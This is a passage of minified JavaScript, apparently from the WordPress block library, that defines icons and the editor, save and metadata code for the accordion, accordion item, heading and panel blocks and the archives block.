8.0937915,9.3084495 8.6410921,8.7611489 9.1799075,8.2223335 9.7569066,8.086569 q 0.5812414,-0.1400071 1.1242994,0.046669 0.543058,0.1866762 0.975808,0.6194255 0.335168,0.3351686 0.581242,0.767918 0.24183,0.4285067 0.436992,1.0564174 0.195161,0.619426 0.381837,1.527351 l 0.364867,1.756453 1.883733,-1.883732 1.018234,1.018233 z"}),(0,d1.jsx)(p1.Path,{d:"M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z"})]});var c_=o(L(),1),IB=o(v(),1),EB=(0,IB.jsx)(c_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,IB.jsx)(c_.Path,{d:"M6.08 10.103h2.914L9.657 12h1.417L8.23 4H6.846L4 12h1.417l.663-1.897Zm1.463-4.137.994 2.857h-2l1.006-2.857ZM11 16H4v-1.5h7V16Zm1 0h8v-1.5h-8V16Zm-4 4H4v-1.5h4V20Zm7-1.5V20H9v-1.5h6Z"})});var f1=o(L(),1),h1=o(v(),1),NB=(0,h1.jsxs)(f1.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:[(0,h1.jsx)(f1.Path,{d:"m14.95 13.889-1.061 1.061-5.552-5.553 1.06-1.06 5.552 5.552Z"}),(0,h1.jsx)(f1.Path,{d:"M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z"})]});var u_=o(L(),1),DB=o(v(),1),g1=(0,DB.jsx)(u_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,DB.jsx)(u_.Path,{d:"M12 3c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16.5c-4.1 0-7.5-3.4-7.5-7.5S7.9 4.5 12 4.5s7.5 3.4 7.5 7.5-3.4 7.5-7.5 7.5zM12 7l-1 5c0 .3.2.6.4.8l4.2 2.8-2.7-4.1L12 7z"})});var m_=o(L(),1),LB=o(v(),1),Cl=(0,LB.jsx)(m_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,LB.jsx)(m_.Path,{d:"m4 5.5h2v6.5h1.5v-6.5h2v-1.5h-5.5zm16 10.5h-16v-1.5h16zm-7 4h-9v-1.5h9z"})});var p_=o(L(),1),MB=o(v(),1),Pc=(0,MB.jsx)(p_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,MB.jsx)(p_.Path,{d:"M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z"})});var d_=o(L(),1),AB=o(v(),1),v1=(0,AB.jsx)(d_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,AB.jsx)(d_.Path,{d:"M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z"})});var f_=o(L(),1),RB=o(v(),1),wf=(0,RB.jsx)(f_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,RB.jsx)(f_.Path,{d:"M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z"})});var h_=o(L(),1),zB=o(v(),1),VB=(0,zB.jsx)(h_.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,zB.jsx)(h_.Path,{d:"M19 5c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zM5 6.5c-.3 0-.5.2-.5.5v10c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V7c0-.3-.2-.5-.5-.5zM14.734 9q.714 0 1.15.253.437.247.639.84.2.591.2 1.61v1.15q0 .402.036.667.04.258.172.39.138.127.437.127h.104l-.162.828h-.08q-.5 0-.776-.097a.9.9 0 0 1-.414-.283 2 2 0 0 1-.259-.448q-.316.367-.748.598-.43.23-.977.23-.524 0-.914-.213a1.56 1.56 0 0 1-.61-.58 1.65 1.65 0 0 1-.213-.84q0-.477.207-.817.213-.345.564-.568.357-.23.794-.363.437-.139.902-.196.471-.062.902-.068 0-.805-.315-1.053-.316-.247-.915-.247-.316 0-.678.098-.356.097-.805.408l-.15-.84a2.8 2.8 0 0 1 .846-.419A3.4 3.4 0 0 1 14.734 9m-5.877 1.669H9.86l.59-1.531h.689l-.585 1.53h.898l-.249.727h-.922l-.337.866h1.019l-.354.773h-.962l-.681 1.804h-.701l.69-1.804h-.999l-.693 1.804h-.69l.685-1.804H6.3l.34-.773h.915l.333-.866h-.994l.244-.726H8.16l.594-1.531h.693zm6.832 1.264q-.823.029-1.335.16-.506.133-.74.397-.236.265-.236.685 0 .454.241.66.248.202.632.202.414 0 .8-.207.39-.207.637-.552zm-7.441.328h1l.34-.866h-1z"})});var fa=o(T(),1),Xn=o(I(),1),yo=o(A(),1),Cf=o(z(),1),b_=o(U(),1);var g_=o(z(),1),yp=o(j(),1),Ru=o(Tr(),1),FB=o(T(),1),sV=o(Y(),1),cV=o(ue(),1);function v_(e,t,r){return(0,g_.useSelect)(a=>a(sV.store).canUser("update",{kind:e,name:t,id:r}),[e,t,r])}function xs(e={}){let t=(0,yp.useRef)(e),r=(0,yp.useRef)(!1),{getSettings:a}=(0,g_.useSelect)(FB.store);(0,yp.useLayoutEffect)(()=>{t.current=e}),(0,yp.useEffect)(()=>{if(r.current||!t.current.url||!(0,Ru.isBlobURL)(t.current.url))return;let n=(0,Ru.getBlobByURL)(t.current.url);if(!n)return;let{url:i,allowedTypes:l,onChange:s,onError:c}=t.current,{mediaUpload:u}=a();u&&(r.current=!0,u({filesList:[n],allowedTypes:l,onFileChange:([m])=>{(0,Ru.isBlobURL)(m?.url)||((0,Ru.revokeBlobURL)(i),s(m),r.current=!1)},onError:m=>{(0,Ru.revokeBlobURL)(i),c(m),r.current=!1}}))},[a])}function b1(){return(0,g_.useSelect)(t=>{let{getSettings:r}=t(FB.store),{__experimentalDiscussionSettings:a}=r();return a?.avatarURL??""},[])}function W(){return(0,cV.useViewportMatch)("medium","<")?{}:{popoverProps:{placement:"left-start",offset:259}}}var br=o(v(),1),OB="core/accordion-item",qfe="core/accordion-heading",Zfe={name:OB};function uV({attributes:{autoclose:e,iconPosition:t,showIcon:r,headingLevel:a,levelOptions:n},clientId:i,setAttributes:l,isSelected:s}){let c=(0,Cf.useRegistry)(),{getBlockOrder:u}=(0,Cf.useSelect)(fa.store),m=(0,fa.useBlockProps)({role:"group"}),p=W(),{updateBlockAttributes:d,insertBlock:f}=(0,Cf.useDispatch)(fa.store),g=(0,fa.useBlockEditingMode)()==="contentOnly",b=(0,fa.useInnerBlocksProps)(m,{template:[[OB]],defaultBlock:Zfe,directInsert:!0,templateInsertUpdatesSelection:!0});return(0,br.jsxs)(br.Fragment,{children:[s&&!g&&(0,br.jsxs)(br.Fragment,{children:[(0,br.jsx)(fa.BlockControls,{children:(0,br.jsx)(yo.ToolbarGroup,{children:(0,br.jsx)(fa.HeadingLevelDropdown,{value:a,options:n,onChange:x=>{let k=u(i),S=[];k.forEach(C=>{let E=u(C);S.push(...E)}),c.batch(()=>{l({headingLevel:x}),d(S,{level:x})})}})})}),(0,br.jsx)(fa.BlockControls,{group:"other",children:(0,br.jsx)(yo.ToolbarButton,{onClick:()=>{let x=(0,b_.createBlock)(OB,{},[(0,b_.createBlock)(qfe,{level:a}),(0,b_.createBlock)("core/accordion-panel",{})]);f(x,void 0,i)},children:(0,Xn.__)("Add item")})})]}),(0,br.jsx)(fa.InspectorControls,{children:(0,br.jsxs)(yo.__experimentalToolsPanel,{label:(0,Xn.__)("Settings"),resetAll:()=>{l({autoclose:!1,showIcon:!0,iconPosition:"right"})},dropdownMenuProps:p,children:[(0,br.jsx)(yo.__experimentalToolsPanelItem,{label:(0,Xn.__)("Auto-close"),isShownByDefault:!0,hasValue:()=>!!e,onDeselect:()=>l({autoclose:!1}),children:(0,br.jsx)(yo.ToggleControl,{isBlock:!0,label:(0,Xn.__)("Auto-close"),onChange:x=>{l({autoclose:x})},checked:e,help:(0,Xn.__)("Automatically close accordions when a new one is opened.")})}),(0,br.jsx)(yo.__experimentalToolsPanelItem,{label:(0,Xn.__)("Show icon"),isShownByDefault:!0,hasValue:()=>!r,onDeselect:()=>l({showIcon:!0}),children:(0,br.jsx)(yo.ToggleControl,{isBlock:!0,label:(0,Xn.__)("Show icon"),onChange:x=>{l({showIcon:x,iconPosition:x?t:"right"})},checked:r,help:(0,Xn.__)("Display a plus icon next to the accordion header.")})}),r&&(0,br.jsx)(yo.__experimentalToolsPanelItem,{label:(0,Xn.__)("Icon Position"),isShownByDefault:!0,hasValue:()=>t!=="right",onDeselect:()=>l({iconPosition:"right"}),children:(0,br.jsxs)(yo.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,isBlock:!0,label:(0,Xn.__)("Icon Position"),value:t,onChange:x=>{l({iconPosition:x})},children:[(0,br.jsx)(yo.__experimentalToggleGroupControlOption,{label:(0,Xn.__)("Left"),value:"left"}),(0,br.jsx)(yo.__experimentalToggleGroupControlOption,{label:(0,Xn.__)("Right"),value:"right"})]})})]})},"setting"),(0,br.jsx)("div",{...b})]})}var y_=o(T(),1),mV=o(v(),1);function pV(){let e=y_.useBlockProps.save({role:"group"});return(0,mV.jsx)("div",{...y_.useInnerBlocksProps.save(e)})}var x_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/accordion",title:"Accordion",category:"design",description:"Displays a foldable layout that groups content in collapsible sections.",example:{},supports:{anchor:!0,html:!1,align:["wide","full"],background:{backgroundImage:!0,backgroundSize:!0,__experimentalDefaultControls:{backgroundImage:!0}},color:{background:!0,gradients:!0},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},spacing:{padding:!0,margin:["top","bottom"],blockGap:!0},shadow:!0,layout:!0,ariaLabel:!0,interactivity:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},contentRole:!0,listView:!0},attributes:{iconPosition:{type:"string",default:"right"},showIcon:{type:"boolean",default:!0},autoclose:{type:"boolean",default:!1},headingLevel:{type:"number",default:3},levelOptions:{type:"array"}},providesContext:{"core/accordion-icon-position":"iconPosition","core/accordion-show-icon":"showIcon","core/accordion-heading-level":"headingLevel"},allowedBlocks:["core/accordion-item"],textdomain:"default",viewScriptModule:"@wordpress/block-library/accordion/view"};var dV=o(U(),1);function N(e){if(!e)return;let{metadata:t,settings:r,name:a}=e;return(0,dV.registerBlockType)({name:a,...t},r)}var{name:fV}=x_,hV={icon:_7,example:{innerBlocks:[{name:"core/accordion-item",innerBlocks:[{name:"core/accordion-heading",attributes:{title:(0,HB.__)("Lorem ipsum dolor sit amet, consectetur.")}}]},{name:"core/accordion-item",innerBlocks:[{name:"core/accordion-heading",attributes:{title:(0,HB.__)("Suspendisse commodo lacus, interdum et.")}}]}]},edit:uV,save:pV},Qfe=()=>N({name:fV,metadata:x_,settings:hV});var UB={};q(UB,{init:()=>Jfe,metadata:()=>k_,name:()=>xV,settings:()=>_V});var y1=o(I(),1),zu=o(T(),1),gV=o(z(),1),Sf=o(A(),1);var _s=o(v(),1),Yfe=[["core/accordion-heading"],["core/accordion-panel"]];function vV({attributes:e,clientId:t,setAttributes:r,isSelected:a}){let{openByDefault:n}=e,i=W(),{isSelected:l}=(0,gV.useSelect)(u=>a||n?{isSelected:!0}:{isSelected:u(zu.store).hasSelectedInnerBlock(t,!0)},[t,a,n]),s=(0,zu.useBlockProps)({className:w({"is-open":n||l})}),c=(0,zu.useInnerBlocksProps)(s,{template:Yfe,templateLock:"all",directInsert:!0,templateInsertUpdatesSelection:!0});return(0,_s.jsxs)(_s.Fragment,{children:[(0,_s.jsx)(zu.InspectorControls,{children:(0,_s.jsx)(Sf.__experimentalToolsPanel,{label:(0,y1.__)("Settings"),resetAll:()=>{r({openByDefault:!1})},dropdownMenuProps:i,children:(0,_s.jsx)(Sf.__experimentalToolsPanelItem,{label:(0,y1.__)("Open by default"),isShownByDefault:!0,hasValue:()=>!!n,onDeselect:()=>{r({openByDefault:!1})},children:(0,_s.jsx)(Sf.ToggleControl,{label:(0,y1.__)("Open by default"),onChange:u=>{r({openByDefault:u})},checked:n,help:(0,y1.__)("Accordion content will be displayed by default.")})})})},"setting"),(0,_s.jsx)("div",{...c})]})}var __=o(T(),1);var bV=o(v(),1);function yV({attributes:e}){let{openByDefault:t}=e,r=__.useBlockProps.save({className:w({"is-open":t})}),a=__.useInnerBlocksProps.save(r);return(0,bV.jsx)("div",{...a})}var k_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/accordion-item",title:"Accordion Item",category:"design",description:"Wraps the heading and panel in one unit.",parent:["core/accordion"],allowedBlocks:["core/accordion-heading","core/accordion-panel"],supports:{html:!1,color:{background:!0,gradients:!0},interactivity:!0,spacing:{margin:["top","bottom"],blockGap:!0},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},shadow:!0,layout:{allowEditing:!1},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},contentRole:!0},attributes:{openByDefault:{type:"boolean",default:!1}},providesContext:{"core/accordion-open-by-default":"openByDefault"},textdomain:"default",style:"wp-block-accordion-item"};var{name:xV}=k_,_V={icon:x7,edit:vV,save:yV},Jfe=()=>N({name:xV,metadata:k_,settings:_V});var GB={};q(GB,{init:()=>ohe,metadata:()=>w_,name:()=>BV,settings:()=>IV});var kV=o(I(),1),wV=o(j(),1),Vi=o(T(),1),CV=o(z(),1),xp=o(v(),1);function SV({attributes:e,setAttributes:t,context:r}){let{title:a}=e,{"core/accordion-icon-position":n,"core/accordion-show-icon":i,"core/accordion-heading-level":l}=r,s="h"+l,{__unstableMarkNextChangeAsNotPersistent:c}=(0,CV.useDispatch)(Vi.store);(0,wV.useEffect)(()=>{n!==void 0&&i!==void 0&&(c(),t({iconPosition:n,showIcon:i}))},[n,i,t,c]);let[u,m]=(0,Vi.useSettings)("typography.fluid","layout"),p=(0,Vi.getTypographyClassesAndStyles)(e,{typography:{fluid:u},layout:{wideSize:m?.wideSize}}),d=(0,Vi.useBlockProps)(),f=(0,Vi.__experimentalGetSpacingClassesAndStyles)(e);return(0,xp.jsx)(s,{...d,children:(0,xp.jsxs)("button",{className:"wp-block-accordion-heading__toggle",style:f.style,tabIndex:"-1",children:[i&&n==="left"&&(0,xp.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"}),(0,xp.jsx)(Vi.RichText,{withoutInteractiveFormatting:!0,disableLineBreaks:!0,tagName:"span",value:a,onChange:h=>t({title:h}),placeholder:(0,kV.__)("Accordion title"),className:"wp-block-accordion-heading__toggle-title",style:{letterSpacing:p.style.letterSpacing,textDecoration:p.style.textDecoration}}),i&&n==="right"&&(0,xp.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"})]})})}var Vu=o(T(),1),_p=o(v(),1);function TV({attributes:e}){let{level:t,title:r,iconPosition:a,showIcon:n}=e,i="h"+(t||3),l=(0,Vu.getTypographyClassesAndStyles)(e),s=Vu.useBlockProps.save(),c=(0,Vu.__experimentalGetSpacingClassesAndStyles)(e);return(0,_p.jsx)(i,{...s,children:(0,_p.jsxs)("button",{type:"button",className:"wp-block-accordion-heading__toggle",style:c.style,children:[n&&a==="left"&&(0,_p.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"}),(0,_p.jsx)(Vu.RichText.Content,{className:"wp-block-accordion-heading__toggle-title",tagName:"span",value:r,style:{letterSpacing:l.style.letterSpacing,textDecoration:l.style.textDecoration}}),n&&a==="right"&&(0,_p.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"})]})})}var w_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/accordion-heading",title:"Accordion Heading",category:"design",description:"Displays a heading that toggles the accordion panel.",parent:["core/accordion-item"],usesContext:["core/accordion-icon-position","core/accordion-show-icon","core/accordion-heading-level"],supports:{anchor:!0,color:{background:!0,gradients:!0},align:!1,interactivity:!0,spacing:{padding:!0,__experimentalDefaultControls:{padding:!0},__experimentalSkipSerialization:!0,__experimentalSelector:".wp-block-accordion-heading__toggle"},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{__experimentalSkipSerialization:["textDecoration","letterSpacing"],fontSize:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontFamily:!0}},shadow:!0,visibility:!1,lock:!1},selectors:{typography:{letterSpacing:".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title",textDecoration:".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title"}},attributes:{openByDefault:{type:"boolean",default:!1},title:{type:"rich-text",source:"rich-text",selector:".wp-block-accordion-heading__toggle-title",role:"content"},level:{type:"number"},iconPosition:{type:"string",enum:["left","right"],default:"right"},showIcon:{type:"boolean",default:!0}},textdomain:"default"};var Sl=o(T(),1),Fi=o(v(),1),the={attributes:{openByDefault:{type:"boolean",default:!1},title:{type:"rich-text",source:"rich-text",selector:".wp-block-accordion-heading__toggle-title",role:"content"},level:{type:"number"},iconPosition:{type:"string",enum:["left","right"],default:"right"},showIcon:{type:"boolean",default:!0}},supports:{anchor:!0,color:{background:!0,gradients:!0},align:!1,interactivity:!0,spacing:{padding:!0,__experimentalDefaultControls:{padding:!0},__experimentalSkipSerialization:!0,__experimentalSelector:".wp-block-accordion-heading__toggle"},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontFamily:!0}},shadow:!0,visibility:!1},save({attributes:e}){let{level:t,title:r,iconPosition:a,showIcon:n}=e,i="h"+(t||3),l=Sl.useBlockProps.save(),s=(0,Sl.__experimentalGetSpacingClassesAndStyles)(e);return(0,Fi.jsx)(i,{...l,children:(0,Fi.jsxs)("button",{className:"wp-block-accordion-heading__toggle",style:s.style,children:[n&&a==="left"&&(0,Fi.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"}),(0,Fi.jsx)(Sl.RichText.Content,{className:"wp-block-accordion-heading__toggle-title",tagName:"span",value:r}),n&&a==="right"&&(0,Fi.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"})]})})}},rhe={attributes:{openByDefault:{type:"boolean",default:!1},title:{type:"rich-text",source:"rich-text",selector:".wp-block-accordion-heading__toggle-title",role:"content"},level:{type:"number"},iconPosition:{type:"string",enum:["left","right"],default:"right"},showIcon:{type:"boolean",default:!0}},supports:{anchor:!0,color:{background:!0,gradients:!0},align:!1,interactivity:!0,spacing:{padding:!0,__experimentalDefaultControls:{padding:!0},__experimentalSkipSerialization:!0,__experimentalSelector:".wp-block-accordion-heading__toggle"},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{__experimentalSkipSerialization:["textDecoration","letterSpacing"],fontSize:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontFamily:!0}},shadow:!0,visibility:!1,lock:!1},save({attributes:e}){let{level:t,title:r,iconPosition:a,showIcon:n}=e,i="h"+(t||3),l=(0,Sl.getTypographyClassesAndStyles)(e),s=Sl.useBlockProps.save(),c=(0,Sl.__experimentalGetSpacingClassesAndStyles)(e);return(0,Fi.jsx)(i,{...s,children:(0,Fi.jsxs)("button",{className:"wp-block-accordion-heading__toggle",style:c.style,children:[n&&a==="left"&&(0,Fi.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"}),(0,Fi.jsx)(Sl.RichText.Content,{className:"wp-block-accordion-heading__toggle-title",tagName:"span",value:r,style:{letterSpacing:l.style.letterSpacing,textDecoration:l.style.textDecoration}}),n&&a==="right"&&(0,Fi.jsx)("span",{className:"wp-block-accordion-heading__toggle-icon","aria-hidden":"true",children:"+"})]})})}},PV=[the,rhe];var{name:BV}=w_,IV={icon:y7,edit:SV,save:TV,deprecated:PV},ohe=()=>N({name:BV,metadata:w_,settings:IV});var WB={};q(WB,{init:()=>nhe,metadata:()=>S_,name:()=>AV,settings:()=>RV});var Tf=o(T(),1),EV=o(z(),1),NV=o(v(),1);function DV({attributes:e,context:t,clientId:r,isSelected:a}){let{allowedBlocks:n,templateLock:i}=e,l=t["core/accordion-open-by-default"],{hasSelection:s}=(0,EV.useSelect)(m=>{if(a||l)return{hasSelection:!0};let{getBlockRootClientId:p,isBlockSelected:d,hasSelectedInnerBlock:f}=m(Tf.store),h=p(r);return{hasSelection:d(h)||f(h,!0)}},[r,a,l]),c=(0,Tf.useBlockProps)({"aria-hidden":!s,role:"region"}),u=(0,Tf.useInnerBlocksProps)(c,{allowedBlocks:n,template:[["core/paragraph",{}]],templateLock:i});return(0,NV.jsx)("div",{...u})}var C_=o(T(),1),LV=o(v(),1);function MV(){let e=C_.useBlockProps.save({role:"region"}),t=C_.useInnerBlocksProps.save(e);return(0,LV.jsx)("div",{...t})}var S_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/accordion-panel",title:"Accordion Panel",category:"design",description:"Contains the hidden or revealed content beneath the heading.",parent:["core/accordion-item"],usesContext:["core/accordion-open-by-default"],supports:{html:!1,color:{background:!0,gradients:!0},interactivity:!0,spacing:{padding:!0,blockGap:!0,__experimentalDefaultControls:{padding:!0,blockGap:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},shadow:!0,layout:{allowEditing:!1},visibility:!1,contentRole:!0,allowedBlocks:!0,lock:!1},attributes:{templateLock:{type:["string","boolean"],enum:["all","insert","contentOnly",!1],default:!1}},textdomain:"default",style:"wp-block-accordion-panel"};var{name:AV}=S_,RV={icon:B0,edit:DV,save:MV},nhe=()=>N({name:AV,metadata:S_,settings:RV});var $B={};q($B,{init:()=>lhe,metadata:()=>T_,name:()=>OV,settings:()=>HV});var T_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/archives",title:"Archives",category:"widgets",description:"Display a date archive of your posts.",textdomain:"default",attributes:{displayAsDropdown:{type:"boolean",default:!1},showLabel:{type:"boolean",default:!0},showPostCounts:{type:"boolean",default:!1},type:{type:"string",default:"monthly"}},supports:{anchor:!0,align:!0,__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},html:!1,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},interactivity:{clientNavigation:!0}}};var Oa=o(A(),1),Oo=o(I(),1),P_=o(T(),1),zV=o(Iu(),1),VV=o(ue(),1);var Ur=o(v(),1);function FV({attributes:e,setAttributes:t,name:r}){let{showLabel:a,showPostCounts:n,displayAsDropdown:i,type:l}=e,s=W(),{content:c,status:u,error:m}=(0,zV.useServerSideRender)({attributes:e,skipBlockSupportAttributes:!0,block:r}),p=(0,VV.useDisabled)(),d=(0,P_.useBlockProps)({ref:p});return(0,Ur.jsxs)(Ur.Fragment,{children:[(0,Ur.jsx)(P_.InspectorControls,{children:(0,Ur.jsxs)(Oa.__experimentalToolsPanel,{label:(0,Oo.__)("Settings"),resetAll:()=>{t({displayAsDropdown:!1,showLabel:!0,showPostCounts:!1,type:"monthly"})},dropdownMenuProps:s,children:[(0,Ur.jsx)(Oa.__experimentalToolsPanelItem,{label:(0,Oo.__)("Display as dropdown"),isShownByDefault:!0,hasValue:()=>i,onDeselect:()=>t({displayAsDropdown:!1}),children:(0,Ur.jsx)(Oa.ToggleControl,{label:(0,Oo.__)("Display as dropdown"),checked:i,onChange:()=>t({displayAsDropdown:!i})})}),i&&(0,Ur.jsx)(Oa.__experimentalToolsPanelItem,{label:(0,Oo.__)("Show label"),isShownByDefault:!0,hasValue:()=>!a,onDeselect:()=>t({showLabel:!0}),children:(0,Ur.jsx)(Oa.ToggleControl,{label:(0,Oo.__)("Show label"),checked:a,onChange:()=>t({showLabel:!a})})}),(0,Ur.jsx)(Oa.__experimentalToolsPanelItem,{label:(0,Oo.__)("Show post counts"),isShownByDefault:!0,hasValue:()=>n,onDeselect:()=>t({showPostCounts:!1}),children:(0,Ur.jsx)(Oa.ToggleControl,{label:(0,Oo.__)("Show post counts"),checked:n,onChange:()=>t({showPostCounts:!n})})}),(0,Ur.jsx)(Oa.__experimentalToolsPanelItem,{label:(0,Oo.__)("Group by"),isShownByDefault:!0,hasValue:()=>l!=="monthly",onDeselect:()=>t({type:"monthly"}),children:(0,Ur.jsx)(Oa.SelectControl,{__next40pxDefaultSize:!0,label:(0,Oo.__)("Group by"),options:[{label:(0,Oo.__)("Year"),value:"yearly"},{label:(0,Oo.__)("Month"),value:"monthly"},{label:(0,Oo.__)("Week"),value:"weekly"},{label:(0,Oo.__)("Day"),value:"daily"}],value:l,onChange:f=>t({type:f})})})]})}),u==="loading"&&(0,Ur.jsx)("div",{...d,children:(0,Ur.jsx)(Oa.Spinner,{})}),u==="error"&&(0,Ur.jsx)("div",{...d,children:(0,Ur.jsx)("p",{children:(0,Oo.sprintf)((0,Oo.__)("Error: %s"),m)})}),u==="success"&&(0,Ur.jsx)(no,{wrapperProps:d,html:c})]})}var{name:OV}=T_,HV={icon:D7,example:{},edit:FV},lhe=()=>N({name:OV,metadata:T_,settings:HV});var ZB={};q(ZB,{init:()=>dhe,metadata:()=>B_,name:()=>aF,settings:()=>nF});var B_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/avatar",title:"Avatar",category:"theme",description:"Add a user\u2019s 